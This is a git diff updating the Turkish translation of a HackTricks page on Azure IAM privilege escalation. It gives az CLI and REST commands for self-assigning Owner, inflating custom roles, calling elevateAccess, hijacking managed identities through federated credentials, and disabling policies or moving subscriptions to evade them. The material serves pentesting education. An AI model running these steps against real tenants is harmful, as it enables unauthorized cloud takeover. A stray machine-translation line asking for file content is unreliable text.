mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+89
-26
@@ -4,24 +4,51 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
Daha fazla bilgi için şunlara bakın:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
{{#endref}}
|
||||
|
||||
Bir principal'ın **authorization itself**'i değiştirmesine izin veren permissions genellikle **privesc primitives**'dir. Bu, özellikle **management group** veya **subscription** scope'larında verildiklerinde tehlikelidir, çünkü permissions child resources tarafından devralınır.
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Bu izin, belirli bir scope üzerinde principal'lara rol ataması yapılmasına izin verir; bu, bir saldırganın kendine daha ayrıcalıklı bir rol atayarak yetkilerini yükseltmesine olanak tanır:
|
||||
Bu permission, belirli bir scope üzerinde role assignments oluşturmayı sağlar ve bir attacker'ın kendisine veya kontrol ettiği başka bir principal'a daha ayrıcalıklı bir role atama yaparak privileges yükseltmesine izin verir.
|
||||
|
||||
Typical flow:
|
||||
```bash
|
||||
# Login and confirm current context
|
||||
az login
|
||||
az account show
|
||||
|
||||
# Enumerate current assignments and find the custom role granting this action
|
||||
az role assignment list --all --output table
|
||||
az role definition list --name "<role-definition-name>"
|
||||
```
|
||||
Eğer ele geçirilmiş principal bu scope üzerinde bu action'a sahipse, doğrudan `Owner`, `Contributor`, `Key Vault Secrets Officer` veya bu scope içinde उपलब्ध herhangi bir diğer built-in/custom role gibi ayrıcalıklı bir role grant edebilir:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
Hedef kullanıcı/service principal/managed identity için **principal object ID** bilgisini bilmek, yeni rolü vermek için yeterlidir. Bu, rolü farklı bir kontrol edilen principal'a atayarak **self-privesc**, **lateral movement** veya **persistence** için kötüye kullanılabilir.
|
||||
|
||||
Bu izin, bir role verilen izinleri değiştirmeye olanak tanır; bu da bir attacker'ın atadığı role daha fazla izin vererek escalate privileges gerçekleştirmesine olanak sağlar.
|
||||
### Microsoft.Authorization/roleDefinitions/write
|
||||
|
||||
Create the file `role.json` with the following **içerik**:
|
||||
Bu izin, custom role definitions oluşturmayı veya değiştirmeyi sağlar. Pratikte bu tehlikelidir çünkü bir saldırgan şunları yapabilir:
|
||||
|
||||
- Halihazırda compromised principal'a **zaten atanmış** bir custom role'u değiştirebilir ve yeni izinleri hemen etkili hale getirebilir.
|
||||
- Yeni, aşırı yetkili bir custom role oluşturup ardından onu atayabilir; genellikle `Microsoft.Authorization/roleAssignments/write` ile zincirlenir.
|
||||
|
||||
Tipik akış:
|
||||
```bash
|
||||
# Find the current assignments
|
||||
az role assignment list --all --output table
|
||||
|
||||
# Review the role definition currently assigned to the compromised principal
|
||||
az role definition list --name "<role-definition-name>"
|
||||
```
|
||||
Lütfen `role.json` dosyası için içeriği paylaşın; ardından aynen oluşturacak şekilde hazırlayayım.
|
||||
```json
|
||||
{
|
||||
"roleName": "<name of the role>",
|
||||
@@ -33,19 +60,22 @@ Create the file `role.json` with the following **içerik**:
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"],
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
|
||||
}
|
||||
```
|
||||
Daha sonra rol izinlerini önceki tanımlamayı çağırarak güncelleyin:
|
||||
Ardından önceki tanımı çağırarak rol izinlerini güncelleyin:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
Eğer değiştirilmiş role **zaten atanmışsa**, bu yeni bir role assignment oluşturmak yerine daha hızlı bir yol olabilir çünkü permission inflation mevcut atamaya uygulanır.\
|
||||
Attacker yalnızca `roleDefinitions/write` yetkisine sahipse, yine de kompromize edilmiş principal’lara zaten atanmış rolleri değiştirerek bunu weaponize edebilir.
|
||||
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Bu izin, ayrıcalıkları yükseltmeye ve herhangi bir principal'e Azure resources üzerinde izin atamaya olanak tanır. Bu, Entra ID Global Administrators'a verilmek üzere tasarlanmıştır; böylece onlar Azure resources üzerindeki izinleri de yönetebilirler.
|
||||
Bu permissions, ayrıcalıkları yükseltmeye ve herhangi bir principal’a Azure resources için permissions atamaya izin verir. Bu, Entra ID Global Administrators’a da verilmesi amacıyla tasarlanmıştır; böylece Azure resources üzerindeki permissions’ları da yönetebilirler.
|
||||
|
||||
> [!TIP]
|
||||
> Sanırım kullanıcının elevate çağrısının çalışması için Entra ID'de Global Administrator olması gerekiyor.
|
||||
> Bence elevate call’un çalışması için kullanıcının Entrad ID içinde Global Administrator olması gerekiyor.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +85,29 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Bu izin, managed identities'e Federated credentials eklemeyi sağlar. Örneğin bir Github repo'sundaki Github Actions'a bir managed identity için erişim vermek. Sonuç olarak, **herhangi bir kullanıcı tarafından tanımlanmış managed identity'ye erişim** sağlar.
|
||||
Bu izin, **user-assigned managed identities** üzerinde **Federated Identity Credentials (FICs)** oluşturma/güncelleme olanağı verir. Pratikte bu, bir saldırganın harici bir identity provider’a yeni bir trust relationship eklemesine ve ardından bu managed identity olarak token almasına izin verir.
|
||||
|
||||
Bir Github repo'suna bir managed identity'ye erişim vermek için örnek komut:
|
||||
Bu bir **persistence / identity hijacking primitive**’idir: managed identity zaten Azure resources erişimine sahipse, saldırganın yalnızca eşleşen bir external workload (örneğin, bir GitHub Actions workflow) oluşturması ve external token’ı Azure token’larıyla exchange etmesi gerekir.
|
||||
|
||||
Bunu abuse etmeden önce doğrulanması yararlı noktalar:
|
||||
|
||||
- Hangi **managed identity** değiştirilebilir
|
||||
- Bu managed identity’ye zaten hangi **scope/roles** atanmış
|
||||
- Token exchange sırasında hangi **issuer**, **subject** ve **audience** kabul edilecek
|
||||
|
||||
FIC’yi özel CLI komutuyla oluşturabilirsiniz:
|
||||
```bash
|
||||
az identity federated-credential create \
|
||||
--name "github-federated-identity" \
|
||||
--identity-name testMI \
|
||||
--resource-group bialystok-rg \
|
||||
--issuer "https://token.actions.githubusercontent.com" \
|
||||
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
|
||||
--audiences "api://AzureADTokenExchange"
|
||||
```
|
||||
Veya raw REST ile.
|
||||
|
||||
Managed identity'ye bir GitHub repo'ya erişim vermek için örnek komut:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,26 +121,32 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
FIC oluşturulduktan sonra, saldırgan dış workload’dan kimlik doğrulaması yapabilir ve Azure’da zaten verilmiş olan managed identity izinlerini kullanabilir. GitHub OIDC / workload identity kötüye kullanımı hakkında daha fazla bilgi için şuna bakın:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/az-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Bir saldırgan, management group, subscription veya resource group üzerinde `Microsoft.Authorization/policyAssignments/write` veya `Microsoft.Authorization/policyAssignments/delete` iznine sahipse, belirli işlemleri engelleyen güvenlik kısıtlamalarını **devre dışı bırakma** ihtimaliyle **Azure policy assignments**'ı değiştirebilir veya silebilir.
|
||||
Bir management group, subscription veya resource group üzerinde `Microsoft.Authorization/policyAssignments/write` ya da `Microsoft.Authorization/policyAssignments/delete` iznine sahip bir saldırgan, Azure policy assignments’i **değiştirebilir veya silebilir** ve bu da belirli işlemleri engelleyen **güvenlik kısıtlamalarını devre dışı bırakabilir**.
|
||||
|
||||
Bu, daha önce politika tarafından korunan kaynaklara veya işlevselliklere erişim sağlar.
|
||||
Bu, daha önce policy tarafından korunan resources veya functionality’lere erişim sağlar.
|
||||
|
||||
**Delete a policy assignment:**
|
||||
**Bir policy assignment’i sil:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Bir politika atamasını devre dışı bırak:**
|
||||
**Bir policy assignment'i devre dışı bırakın:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Değişiklikleri doğrulayın:**
|
||||
**Değişiklikleri doğrula:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
@@ -103,11 +159,11 @@ az policy assignment show \
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
İzin `Microsoft.Authorization/policyDefinitions/write` olan bir saldırgan, **Azure policy tanımlarını değiştirebilir**, ortam genelindeki güvenlik kısıtlamalarını kontrol eden kuralları değiştirerek.
|
||||
`Microsoft.Authorization/policyDefinitions/write` iznine sahip bir saldırgan, **Azure policy definitions**'ları değiştirebilir; bu da ortam genelindeki security restrictions'ları kontrol eden kuralları değiştirir.
|
||||
|
||||
Örneğin, kaynak oluşturma için izin verilen bölgeleri kısıtlayan bir policy tanımı, herhangi bir bölgeye izin verecek şekilde değiştirilebilir veya policy etkisi (effect) değiştirilerek etkisiz hale getirilebilir.
|
||||
Örneğin, kaynak oluşturmak için izin verilen bölgeleri sınırlayan bir policy, herhangi bir bölgeye izin verecek şekilde değiştirilebilir veya policy effect etkisiz hale gelecek biçimde değiştirilebilir.
|
||||
|
||||
**Bir policy tanımını değiştir:**
|
||||
**Bir policy definition'ı değiştirin:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
@@ -121,23 +177,23 @@ az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Bu izne (`Microsoft.Management/managementGroups/write`) sahip bir saldırgan, **yönetim gruplarının hiyerarşik yapısını değiştirebilir** veya **yeni yönetim grupları oluşturabilir**, böylece üst seviyelerde uygulanan kısıtlayıcı politikalardan kaçabilir.
|
||||
`Microsoft.Management/managementGroups/write` iznine sahip bir attacker, management groups’un hiyerarşik yapısını **değiştirebilir** veya **yeni management groups oluşturabilir**, bu da daha üst seviyelerde uygulanan kısıtlayıcı policies’i potansiyel olarak bypass etmesine olanak tanır.
|
||||
|
||||
Örneğin, bir saldırgan kısıtlayıcı politikaların olmadığı yeni bir yönetim grubu oluşturabilir ve ardından abonelikleri buraya taşıyabilir.
|
||||
Örneğin, bir attacker kısıtlayıcı policies olmadan yeni bir management group oluşturabilir ve ardından subscriptions’ı buna taşıyabilir.
|
||||
|
||||
**Yeni bir yönetim grubu oluştur:**
|
||||
**Yeni bir management group oluşturun:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Yönetim grubu hiyerarşisini değiştir:**
|
||||
**Bir management group hiyerarşisini değiştirin:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Değişiklikleri doğrulayın:**
|
||||
**Değişiklikleri doğrula:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
@@ -147,9 +203,9 @@ az account management-group show \
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Bu izne (`Microsoft.Management/managementGroups/subscriptions/write`) sahip bir saldırgan, abonelikleri yönetim grupları arasında **taşıyabilir**, aboneliği daha az kısıtlayıcı veya hiç politika olmayan bir gruba taşıyarak potansiyel olarak **kısıtlayıcı politikalardan kaçınabilir**.
|
||||
`Microsoft.Management/managementGroups/subscriptions/write` iznine sahip bir attacker, **subscription'ları management groups arasında taşıyabilir**, potansiyel olarak bir subscription'ı daha az kısıtlayıcı ya da hiç policy olmayan bir gruba taşıyarak **kısıtlayıcı policies'den kaçabilir**.
|
||||
|
||||
**Aboneliği farklı bir yönetim grubuna taşıma:**
|
||||
**Bir subscription'ı farklı bir management group'a taşı:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
@@ -161,4 +217,11 @@ az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
## References
|
||||
|
||||
- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
|
||||
- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
|
||||
- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
|
||||
- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user